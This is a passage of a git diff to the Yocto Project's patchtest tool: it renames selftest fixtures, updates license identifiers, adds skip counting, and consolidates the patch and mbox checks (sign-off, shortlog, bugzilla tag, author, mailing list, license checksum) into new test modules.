+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_modified_not_mentioned.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_presence.fail b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail
index e14d644bb2..e14d644bb2 100644
--- a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_presence.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_presence.pass b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass
index b8da16dfe5..b8da16dfe5 100644
--- a/poky/meta/lib/patchtest/selftest/files/LicFilesChkSum.test_lic_files_chksum_presence.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_lic_files_chksum_presence.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/SrcUri.test_src_uri_left_files.fail b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail
index 983b6e0c2b..983b6e0c2b 100644
--- a/poky/meta/lib/patchtest/selftest/files/SrcUri.test_src_uri_left_files.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/SrcUri.test_src_uri_left_files.pass b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass
index 1f1a77e581..1f1a77e581 100644
--- a/poky/meta/lib/patchtest/selftest/files/SrcUri.test_src_uri_left_files.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_src_uri_left_files.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/Summary.test_summary_presence.fail b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail
index 2d2b4e683d..2d2b4e683d 100644
--- a/poky/meta/lib/patchtest/selftest/files/Summary.test_summary_presence.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/Summary.test_summary_presence.pass b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass
index 55f0309b3f..55f0309b3f 100644
--- a/poky/meta/lib/patchtest/selftest/files/Summary.test_summary_presence.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestMetadata.test_summary_presence.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_tag_format.fail b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail
index c763a7506e..c763a7506e 100644
--- a/poky/meta/lib/patchtest/selftest/files/CVE.test_cve_tag_format.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_length.pass b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass
index ef6017037c..ef6017037c 100644
--- a/poky/meta/lib/patchtest/selftest/files/Shortlog.test_shortlog_length.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_cve_tag_format.pass
diff --git a/poky/meta/lib/patchtest/selftest/files/PatchSignedOffBy.test_signed_off_by_presence.fail b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail
index ce8bf7b7d1..ce8bf7b7d1 100644
--- a/poky/meta/lib/patchtest/selftest/files/PatchSignedOffBy.test_signed_off_by_presence.fail
+++ b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.fail
diff --git a/poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.pass b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass
index ea34c76f0d..ea34c76f0d 100644
--- a/poky/meta/lib/patchtest/selftest/files/SignedOffBy.test_signed_off_by_presence.pass
+++ b/poky/meta/lib/patchtest/selftest/files/TestPatch.test_signed_off_by_presence.pass
diff --git a/poky/meta/lib/patchtest/selftest/selftest b/poky/meta/lib/patchtest/selftest/selftest
index d2b61e951a..6fad50ce61 100755
--- a/poky/meta/lib/patchtest/selftest/selftest
+++ b/poky/meta/lib/patchtest/selftest/selftest
@@ -4,7 +4,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import os
import subprocess
@@ -18,14 +18,15 @@ parentdir = os.path.dirname(topdir)
# path to the repo root
repodir = os.path.dirname(os.path.dirname(parentdir))
-def print_results(passcount, skipcount, failcount, xpasscount, xfailcount, errorcount):
- total = passcount + skipcount + failcount + xpasscount + xfailcount + errorcount
+def print_results(passcount, failcount, skipcount, xpasscount, xfailcount, xskipcount, errorcount):
+ total = passcount + skipcount + failcount + xpasscount + xfailcount + xskipcount + errorcount
print("============================================================================")
print("Testsuite summary for %s" % os.path.basename(topdir))
print("============================================================================")
print("# TOTAL: %s" % str(total))
print("# XPASS: %s" % str(xpasscount))
print("# XFAIL: %s" % str(xfailcount))
+ print("# XSKIP: %s" % str(xskipcount))
print("# PASS: %s" % str(passcount))
print("# FAIL: %s" % str(failcount))
print("# SKIP: %s" % str(skipcount))
@@ -37,7 +38,7 @@ def test(root, patch):
res = True
patchpath = os.path.abspath(os.path.join(root, patch))
- cmd = 'patchtest %s %s/tests --patch %s' % (repodir, topdir, patchpath)
+ cmd = 'patchtest --repodir %s --testdir %s/tests --patch %s' % (repodir, topdir, patchpath)
results = subprocess.check_output(cmd, stderr=subprocess.STDOUT, universal_newlines=True, shell=True)
return results
@@ -48,6 +49,7 @@ if __name__ == '__main__':
skipcount = 0
xpasscount = 0
xfailcount = 0
+ xskipcount = 0
errorcount = 0
results = None
@@ -63,7 +65,7 @@ if __name__ == '__main__':
for resultline in results.splitlines():
if testid in resultline:
- result, _ = resultline.split(' ', 1)
+ result, _ = resultline.split(':', 1)
if expected_result.upper() == "FAIL" and result.upper() == "FAIL":
xfailcount = xfailcount + 1
@@ -71,6 +73,9 @@ if __name__ == '__main__':
elif expected_result.upper() == "PASS" and result.upper() == "PASS":
xpasscount = xpasscount + 1
print("XPASS: %s (file: %s)" % (testid.strip("."), os.path.basename(patch)))
+ elif expected_result.upper() == "SKIP" and result.upper() == "SKIP":
+ xskipcount = xskipcount + 1
+ print("XSKIP: %s (file: %s)" % (testid.strip("."), os.path.basename(patch)))
else:
print("%s: %s (%s)" % (result.upper(), testid.strip("."), os.path.basename(patch)))
if result.upper() == "PASS":
@@ -86,4 +91,4 @@ if __name__ == '__main__':
else:
print ("No test for=%s" % patch)
- print_results(passcount, skipcount, failcount, xpasscount, xfailcount, errorcount)
+ print_results(passcount, failcount, skipcount, xpasscount, xfailcount, xskipcount, errorcount)
diff --git a/poky/meta/lib/patchtest/tests/base.py b/poky/meta/lib/patchtest/tests/base.py
index 27db380353..aecbbc4aae 100644
--- a/poky/meta/lib/patchtest/tests/base.py
+++ b/poky/meta/lib/patchtest/tests/base.py
@@ -2,7 +2,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import unittest
import logging
diff --git a/poky/meta/lib/patchtest/tests/pyparsing/common.py b/poky/meta/lib/patchtest/tests/pyparsing/common.py
index 9d37b0403d..cbce4c38bc 100644
--- a/poky/meta/lib/patchtest/tests/pyparsing/common.py
+++ b/poky/meta/lib/patchtest/tests/pyparsing/common.py
@@ -2,7 +2,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import pyparsing
diff --git a/poky/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py b/poky/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py
index dd7131a650..f7fb82ec2b 100644
--- a/poky/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py
+++ b/poky/meta/lib/patchtest/tests/pyparsing/parse_cve_tags.py
@@ -2,7 +2,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import pyparsing
diff --git a/poky/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py b/poky/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py
index 26e9612c4a..30d3ab35b3 100644
--- a/poky/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py
+++ b/poky/meta/lib/patchtest/tests/pyparsing/parse_shortlog.py
@@ -2,7 +2,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
# NOTE:This is an oversimplified syntax of the mbox's summary
diff --git a/poky/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py b/poky/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py
index c8a4351551..692ebec3ff 100644
--- a/poky/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py
+++ b/poky/meta/lib/patchtest/tests/pyparsing/parse_signed_off_by.py
@@ -2,7 +2,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import pyparsing
diff --git a/poky/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py b/poky/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py
index d63567efbe..bc6c427c4c 100644
--- a/poky/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py
+++ b/poky/meta/lib/patchtest/tests/pyparsing/parse_upstream_status.py
@@ -2,7 +2,7 @@
#
# Copyright (C) 2016 Intel Corporation
#
-# SPDX-License-Identifier: GPL-2.0
+# SPDX-License-Identifier: GPL-2.0-only
import common
diff --git a/poky/meta/lib/patchtest/tests/test_mbox.py b/poky/meta/lib/patchtest/tests/test_mbox.py
new file mode 100644
index 0000000000..0b623b7d17
--- /dev/null
+++ b/poky/meta/lib/patchtest/tests/test_mbox.py
@@ -0,0 +1,159 @@
+# Checks related to the patch's author
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import base
+import collections
+import parse_shortlog
+import parse_signed_off_by
+import pyparsing
+import subprocess
+from data import PatchTestInput
+
+def headlog():
+ output = subprocess.check_output(
+ "cd %s; git log --pretty='%%h#%%aN#%%cD:#%%s' -1" % PatchTestInput.repodir,
+ universal_newlines=True,
+ shell=True
+ )
+ return output.split('#')
+
+class TestMbox(base.Base):
+
+ auh_email = 'auh@auh.yoctoproject.org'
+
+ invalids = [pyparsing.Regex("^Upgrade Helper.+"),
+ pyparsing.Regex(auh_email),
+ pyparsing.Regex("uh@not\.set"),
+ pyparsing.Regex("\S+@example\.com")]
+
+ rexp_detect = pyparsing.Regex('\[\s?YOCTO.*\]')
+ rexp_validation = pyparsing.Regex('\[(\s?YOCTO\s?#\s?(\d+)\s?,?)+\]')
+ revert_shortlog_regex = pyparsing.Regex('Revert\s+".*"')
+ signoff_prog = parse_signed_off_by.signed_off_by
+ revert_shortlog_regex = pyparsing.Regex('Revert\s+".*"')
+ maxlength = 90
+
+ # base paths of main yocto project sub-projects
+ paths = {
+ 'oe-core': ['meta-selftest', 'meta-skeleton', 'meta', 'scripts'],
+ 'bitbake': ['bitbake'],
+ 'documentation': ['documentation'],
+ 'poky': ['meta-poky','meta-yocto-bsp'],
+ 'oe': ['meta-gpe', 'meta-gnome', 'meta-efl', 'meta-networking', 'meta-multimedia','meta-initramfs', 'meta-ruby', 'contrib', 'meta-xfce', 'meta-filesystems', 'meta-perl', 'meta-webserver', 'meta-systemd', 'meta-oe', 'meta-python']
+ }
+
+ # scripts folder is a mix of oe-core and poky, most is oe-core code except:
+ poky_scripts = ['scripts/yocto-bsp', 'scripts/yocto-kernel', 'scripts/yocto-layer', 'scripts/lib/bsp']
+
+ Project = collections.namedtuple('Project', ['name', 'listemail', 'gitrepo', 'paths'])
+
+ bitbake = Project(name='Bitbake', listemail='bitbake-devel@lists.openembedded.org', gitrepo='http://git.openembedded.org/bitbake/', paths=paths['bitbake'])
+ doc = Project(name='Documentantion', listemail='yocto@yoctoproject.org', gitrepo='http://git.yoctoproject.org/cgit/cgit.cgi/yocto-docs/', paths=paths['documentation'])
+ poky = Project(name='Poky', listemail='poky@yoctoproject.org', gitrepo='http://git.yoctoproject.org/cgit/cgit.cgi/poky/', paths=paths['poky'])
+ oe = Project(name='oe', listemail='openembedded-devel@lists.openembedded.org', gitrepo='http://git.openembedded.org/meta-openembedded/', paths=paths['oe'])
+
+
+ def test_signed_off_by_presence(self):
+ for commit in TestMbox.commits:
+ # skip those patches that revert older commits, these do not required the tag presence
+ if self.revert_shortlog_regex.search_string(commit.shortlog):
+ continue
+ if not self.signoff_prog.search_string(commit.payload):
+ self.fail('Mbox is missing Signed-off-by. Add it manually or with "git commit --amend -s"',
+ commit=commit)
+
+ def test_shortlog_format(self):
+ for commit in TestMbox.commits:
+ shortlog = commit.shortlog
+ if not shortlog.strip():
+ self.skip('Empty shortlog, no reason to execute shortlog format test')
+ else:
+ # no reason to re-check on revert shortlogs
+ if shortlog.startswith('Revert "'):
+ continue
+ try:
+ parse_shortlog.shortlog.parseString(shortlog)
+ except pyparsing.ParseException as pe:
+ self.fail('Commit shortlog (first line of commit message) should follow the format "<target>: <summary>"',
+ commit=commit)
+
+ def test_shortlog_length(self):
+ for commit in TestMbox.commits:
+ # no reason to re-check on revert shortlogs
+ shortlog = commit.shortlog
+ if shortlog.startswith('Revert "'):
+ continue
+ l = len(shortlog)
+ if l > self.maxlength:
+ self.fail('Edit shortlog so that it is %d characters or less (currently %d characters)' % (self.maxlength, l),
+ commit=commit)
+
+ def test_series_merge_on_head(self):
+ self.skip("Merge test is disabled for now")
+ if PatchTestInput.repo.branch != "master":
+ self.skip("Skipping merge test since patch is not intended for master branch. Target detected is %s" % PatchTestInput.repo.branch)
+ if not PatchTestInput.repo.ismerged:
+ commithash, author, date, shortlog = headlog()
+ self.fail('Series does not apply on top of target branch %s' % PatchTestInput.repo.branch,
+ data=[('Targeted branch', '%s (currently at %s)' % (PatchTestInput.repo.branch, commithash))])
+
+ def test_target_mailing_list(self):
+ """In case of merge failure, check for other targeted projects"""
+ if PatchTestInput.repo.ismerged:
+ self.skip('Series merged, no reason to check other mailing lists')
+
+ # a meta project may be indicted in the message subject, if this is the case, just fail
+ # TODO: there may be other project with no-meta prefix, we also need to detect these
+ project_regex = pyparsing.Regex("\[(?P<project>meta-.+)\]")
+ for commit in TestMbox.commits:
+ match = project_regex.search_string(commit.subject)
+ if match:
+ self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists',
+ commit=commit)
+
+ for patch in self.patchset:
+ folders = patch.path.split('/')
+ base_path = folders[0]
+ for project in [self.bitbake, self.doc, self.oe, self.poky]:
+ if base_path in project.paths:
+ self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists',
+ data=[('Suggested ML', '%s [%s]' % (project.listemail, project.gitrepo)),
+ ('Patch\'s path:', patch.path)])
+
+ # check for poky's scripts code
+ if base_path.startswith('scripts'):
+ for poky_file in self.poky_scripts:
+ if patch.path.startswith(poky_file):
+ self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists',
+ data=[('Suggested ML', '%s [%s]' % (self.poky.listemail, self.poky.gitrepo)),('Patch\'s path:', patch.path)])
+
+ def test_mbox_format(self):
+ if self.unidiff_parse_error:
+ self.fail('Series has malformed diff lines. Create the series again using git-format-patch and ensure it applies using git am',
+ data=[('Diff line',self.unidiff_parse_error)])
+
+ def test_commit_message_presence(self):
+ for commit in TestMbox.commits:
+ if not commit.commit_message.strip():
+ self.fail('Please include a commit message on your patch explaining the change', commit=commit)
+
+ def test_bugzilla_entry_format(self):
+ for commit in TestMbox.commits:
+ if not self.rexp_detect.search_string(commit.commit_message):
+ self.skip("No bug ID found")
+ elif not self.rexp_validation.search_string(commit.commit_message):
+ self.fail('Bugzilla issue ID is not correctly formatted - specify it with format: "[YOCTO #<bugzilla ID>]"', commit=commit)
+
+ def test_author_valid(self):
+ for commit in self.commits:
+ for invalid in self.invalids:
+ if invalid.search_string(commit.author):
+ self.fail('Invalid author %s. Resend the series with a valid patch author' % commit.author, commit=commit)
+
+ def test_non_auh_upgrade(self):
+ for commit in self.commits:
+ if self.auh_email in commit.payload:
+ self.fail('Invalid author %s. Resend the series with a valid patch author' % self.auh_email, commit=commit)
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_author.py b/poky/meta/lib/patchtest/tests/test_mbox_author.py
deleted file mode 100644
index 6c79f164d4..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_author.py
+++ /dev/null
@@ -1,29 +0,0 @@
-# Checks related to the patch's author
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import re
-
-class Author(base.Base):
-
- auh_email = '<auh@auh.yoctoproject.org>'
-
- invalids = [re.compile("^Upgrade Helper.+"),
- re.compile(re.escape(auh_email)),
- re.compile("uh@not\.set"),
- re.compile("\S+@example\.com")]
-
-
- def test_author_valid(self):
- for commit in self.commits:
- for invalid in self.invalids:
- if invalid.search(commit.author):
- self.fail('Invalid author %s' % commit.author, 'Resend the series with a valid patch\'s author', commit)
-
- def test_non_auh_upgrade(self):
- for commit in self.commits:
- if self.auh_email in commit.payload:
- self.fail('Invalid author %s in commit message' % self.auh_email, 'Resend the series with a valid patch\'s author', commit)
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_bugzilla.py b/poky/meta/lib/patchtest/tests/test_mbox_bugzilla.py
deleted file mode 100644
index e8de48bb8d..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_bugzilla.py
+++ /dev/null
@@ -1,22 +0,0 @@
-# Checks related to the patch's bugzilla tag
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import re
-import base
-
-class Bugzilla(base.Base):
- rexp_detect = re.compile("\[\s?YOCTO.*\]", re.IGNORECASE)
- rexp_validation = re.compile("\[(\s?YOCTO\s?#\s?(\d+)\s?,?)+\]", re.IGNORECASE)
-
- def test_bugzilla_entry_format(self):
- for commit in Bugzilla.commits:
- for line in commit.commit_message.splitlines():
- if self.rexp_detect.match(line):
- if not self.rexp_validation.match(line):
- self.fail('Yocto Project bugzilla tag is not correctly formatted',
- 'Specify bugzilla ID in commit description with format: "[YOCTO #<bugzilla ID>]"',
- commit)
-
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_cve.py b/poky/meta/lib/patchtest/tests/test_mbox_cve.py
deleted file mode 100644
index f99194c094..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_cve.py
+++ /dev/null
@@ -1,49 +0,0 @@
-# Checks related to the patch's CVE lines
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License version 2 as
-# published by the Free Software Foundation.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, write to the Free Software Foundation, Inc.,
-# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
-# SPDX-License-Identifier: GPL-2.0-or-later
-
-import base
-import os
-import parse_cve_tags
-import re
-
-class CVE(base.Base):
-
- revert_shortlog_regex = re.compile('Revert\s+".*"')
- prog = parse_cve_tags.cve_tag
-
- def setUp(self):
- if self.unidiff_parse_error:
- self.skip('Parse error %s' % self.unidiff_parse_error)
-
- # we are just interested in series that introduce CVE patches, thus discard other
- # possibilities: modification to current CVEs, patch directly introduced into the
- # recipe, upgrades already including the CVE, etc.
- new_cves = [p for p in self.patchset if p.path.endswith('.patch') and p.is_added_file]
- if not new_cves:
- self.skip('No new CVE patches introduced')
-
- def test_cve_presence_in_commit_message(self):
- for commit in CVE.commits:
- # skip those patches that revert older commits, these do not required the tag presence
- if self.revert_shortlog_regex.match(commit.shortlog):
- continue
- if not self.prog.search_string(commit.payload):
- self.fail('Missing or incorrectly formatted CVE tag in mbox',
- 'Correct or include the CVE tag in the mbox with format: "CVE: CVE-YYYY-XXXX"',
- commit)
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_description.py b/poky/meta/lib/patchtest/tests/test_mbox_description.py
deleted file mode 100644
index 7addc6b5f7..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_description.py
+++ /dev/null
@@ -1,17 +0,0 @@
-# Checks related to the patch's commit_message
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-
-class CommitMessage(base.Base):
-
- def test_commit_message_presence(self):
- for commit in CommitMessage.commits:
- if not commit.commit_message.strip():
- self.fail('Patch is missing a descriptive commit message',
- 'Please include a commit message on your patch explaining the change (most importantly why the change is being made)',
- commit)
-
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_format.py b/poky/meta/lib/patchtest/tests/test_mbox_format.py
deleted file mode 100644
index 85c452ca0d..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_format.py
+++ /dev/null
@@ -1,16 +0,0 @@
-# Checks correct parsing of mboxes
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import re
-
-class MboxFormat(base.Base):
-
- def test_mbox_format(self):
- if self.unidiff_parse_error:
- self.fail('Series cannot be parsed correctly due to malformed diff lines',
- 'Create the series again using git-format-patch and ensure it can be applied using git am',
- data=[('Diff line', re.sub('^.+:\s(?<!$)','',self.unidiff_parse_error))])
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_mailinglist.py b/poky/meta/lib/patchtest/tests/test_mbox_mailinglist.py
deleted file mode 100644
index de38e205b1..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_mailinglist.py
+++ /dev/null
@@ -1,64 +0,0 @@
-# Check if the series was intended for other project (not OE-Core)
-#
-# Copyright (C) 2017 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import subprocess
-import collections
-import base
-import re
-from data import PatchTestInput
-
-class MailingList(base.Base):
-
- # base paths of main yocto project sub-projects
- paths = {
- 'oe-core': ['meta-selftest', 'meta-skeleton', 'meta', 'scripts'],
- 'bitbake': ['bitbake'],
- 'documentation': ['documentation'],
- 'poky': ['meta-poky','meta-yocto-bsp'],
- 'oe': ['meta-gpe', 'meta-gnome', 'meta-efl', 'meta-networking', 'meta-multimedia','meta-initramfs', 'meta-ruby', 'contrib', 'meta-xfce', 'meta-filesystems', 'meta-perl', 'meta-webserver', 'meta-systemd', 'meta-oe', 'meta-python']
- }
-
- # scripts folder is a mix of oe-core and poky, most is oe-core code except:
- poky_scripts = ['scripts/yocto-bsp', 'scripts/yocto-kernel', 'scripts/yocto-layer', 'scripts/lib/bsp']
-
- Project = collections.namedtuple('Project', ['name', 'listemail', 'gitrepo', 'paths'])
-
- bitbake = Project(name='Bitbake', listemail='bitbake-devel@lists.openembedded.org', gitrepo='http://git.openembedded.org/bitbake/', paths=paths['bitbake'])
- doc = Project(name='Documentantion', listemail='yocto@yoctoproject.org', gitrepo='http://git.yoctoproject.org/cgit/cgit.cgi/yocto-docs/', paths=paths['documentation'])
- poky = Project(name='Poky', listemail='poky@yoctoproject.org', gitrepo='http://git.yoctoproject.org/cgit/cgit.cgi/poky/', paths=paths['poky'])
- oe = Project(name='oe', listemail='openembedded-devel@lists.openembedded.org', gitrepo='http://git.openembedded.org/meta-openembedded/', paths=paths['oe'])
-
-
- def test_target_mailing_list(self):
- """In case of merge failure, check for other targeted projects"""
- if PatchTestInput.repo.ismerged:
- self.skip('Series merged, no reason to check other mailing lists')
-
- # a meta project may be indicted in the message subject, if this is the case, just fail
- # TODO: there may be other project with no-meta prefix, we also need to detect these
- project_regex = re.compile("\[(?P<project>meta-.+)\]")
- for commit in MailingList.commits:
- match = project_regex.match(commit.subject)
- if match:
- self.fail('Series sent to the wrong mailing list',
- 'Check the project\'s README (%s) and send the patch to the indicated list' % match.group('project'),
- commit)
-
- for patch in self.patchset:
- folders = patch.path.split('/')
- base_path = folders[0]
- for project in [self.bitbake, self.doc, self.oe, self.poky]:
- if base_path in project.paths:
- self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists', 'Send the series again to the correct mailing list (ML)',
- data=[('Suggested ML', '%s [%s]' % (project.listemail, project.gitrepo)),
- ('Patch\'s path:', patch.path)])
-
- # check for poky's scripts code
- if base_path.startswith('scripts'):
- for poky_file in self.poky_scripts:
- if patch.path.startswith(poky_file):
- self.fail('Series sent to the wrong mailing list or some patches from the series correspond to different mailing lists', 'Send the series again to the correct mailing list (ML)',
- data=[('Suggested ML', '%s [%s]' % (self.poky.listemail, self.poky.gitrepo)),('Patch\'s path:', patch.path)])
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_merge.py b/poky/meta/lib/patchtest/tests/test_mbox_merge.py
deleted file mode 100644
index c8b6718d15..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_merge.py
+++ /dev/null
@@ -1,25 +0,0 @@
-# Check if mbox was merged by patchtest
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import subprocess
-import base
-from data import PatchTestInput
-
-def headlog():
- output = subprocess.check_output(
- "cd %s; git log --pretty='%%h#%%aN#%%cD:#%%s' -1" % PatchTestInput.repodir,
- universal_newlines=True,
- shell=True
- )
- return output.split('#')
-
-class Merge(base.Base):
- def test_series_merge_on_head(self):
- if not PatchTestInput.repo.ismerged:
- commithash, author, date, shortlog = headlog()
- self.fail('Series does not apply on top of target branch',
- 'Rebase your series on top of targeted branch',
- data=[('Targeted branch', '%s (currently at %s)' % (PatchTestInput.repo.branch, commithash))])
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_shortlog.py b/poky/meta/lib/patchtest/tests/test_mbox_shortlog.py
deleted file mode 100644
index b6c2a209ff..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_shortlog.py
+++ /dev/null
@@ -1,41 +0,0 @@
-# Checks related to the patch's summary
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import parse_shortlog
-import pyparsing
-
-maxlength = 90
-
-class Shortlog(base.Base):
-
- def test_shortlog_format(self):
- for commit in Shortlog.commits:
- shortlog = commit.shortlog
- if not shortlog.strip():
- self.skip('Empty shortlog, no reason to execute shortlog format test')
- else:
- # no reason to re-check on revert shortlogs
- if shortlog.startswith('Revert "'):
- continue
- try:
- parse_shortlog.shortlog.parseString(shortlog)
- except pyparsing.ParseException as pe:
- self.fail('Shortlog does not follow expected format',
- 'Commit shortlog (first line of commit message) should follow the format "<target>: <summary>"',
- commit)
-
- def test_shortlog_length(self):
- for commit in Shortlog.commits:
- # no reason to re-check on revert shortlogs
- shortlog = commit.shortlog
- if shortlog.startswith('Revert "'):
- continue
- l = len(shortlog)
- if l > maxlength:
- self.fail('Commit shortlog is too long',
- 'Edit shortlog so that it is %d characters or less (currently %d characters)' % (maxlength, l),
- commit)
diff --git a/poky/meta/lib/patchtest/tests/test_mbox_signed_off_by.py b/poky/meta/lib/patchtest/tests/test_mbox_signed_off_by.py
deleted file mode 100644
index 6458951f1c..0000000000
--- a/poky/meta/lib/patchtest/tests/test_mbox_signed_off_by.py
+++ /dev/null
@@ -1,28 +0,0 @@
-# Checks related to the patch's signed-off-by lines
-#
-# Copyright (C) 2016 Intel Corporation
-#
-# SPDX-License-Identifier: GPL-2.0
-
-import base
-import parse_signed_off_by
-import re
-
-class SignedOffBy(base.Base):
-
- revert_shortlog_regex = re.compile('Revert\s+".*"')
-
- @classmethod
- def setUpClassLocal(cls):
- # match self.mark with no '+' preceding it
- cls.prog = parse_signed_off_by.signed_off_by
-
- def test_signed_off_by_presence(self):
- for commit in SignedOffBy.commits:
- # skip those patches that revert older commits, these do not required the tag presence
- if self.revert_shortlog_regex.match(commit.shortlog):
- continue
- if not SignedOffBy.prog.search_string(commit.payload):
- self.fail('Patch is missing Signed-off-by',
- 'Sign off the patch (either manually or with "git commit --amend -s")',
- commit)
diff --git a/poky/meta/lib/patchtest/tests/test_metadata.py b/poky/meta/lib/patchtest/tests/test_metadata.py
new file mode 100644
index 0000000000..b6f4456ad2
--- /dev/null
+++ b/poky/meta/lib/patchtest/tests/test_metadata.py
@@ -0,0 +1,180 @@
+# Checks related to the patch's LIC_FILES_CHKSUM metadata variable
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import base
+import os
+import pyparsing
+from data import PatchTestInput, PatchTestDataStore
+
+class TestMetadata(base.Metadata):
+ metadata_lic = 'LICENSE'
+ invalid_license = 'PATCHTESTINVALID'
+ metadata_chksum = 'LIC_FILES_CHKSUM'
+ license_var = 'LICENSE'
+ closed = 'CLOSED'
+ lictag_re = pyparsing.AtLineStart("License-Update:")
+ lic_chksum_added = pyparsing.AtLineStart("+" + metadata_chksum)
+ lic_chksum_removed = pyparsing.AtLineStart("-" + metadata_chksum)
+ add_mark = pyparsing.Regex('\+ ')
+ max_length = 200
+ metadata_src_uri = 'SRC_URI'
+ md5sum = 'md5sum'
+ sha256sum = 'sha256sum'
+ git_regex = pyparsing.Regex('^git\:\/\/.*')
+ metadata_summary = 'SUMMARY'
+
+ def test_license_presence(self):
+ if not self.added:
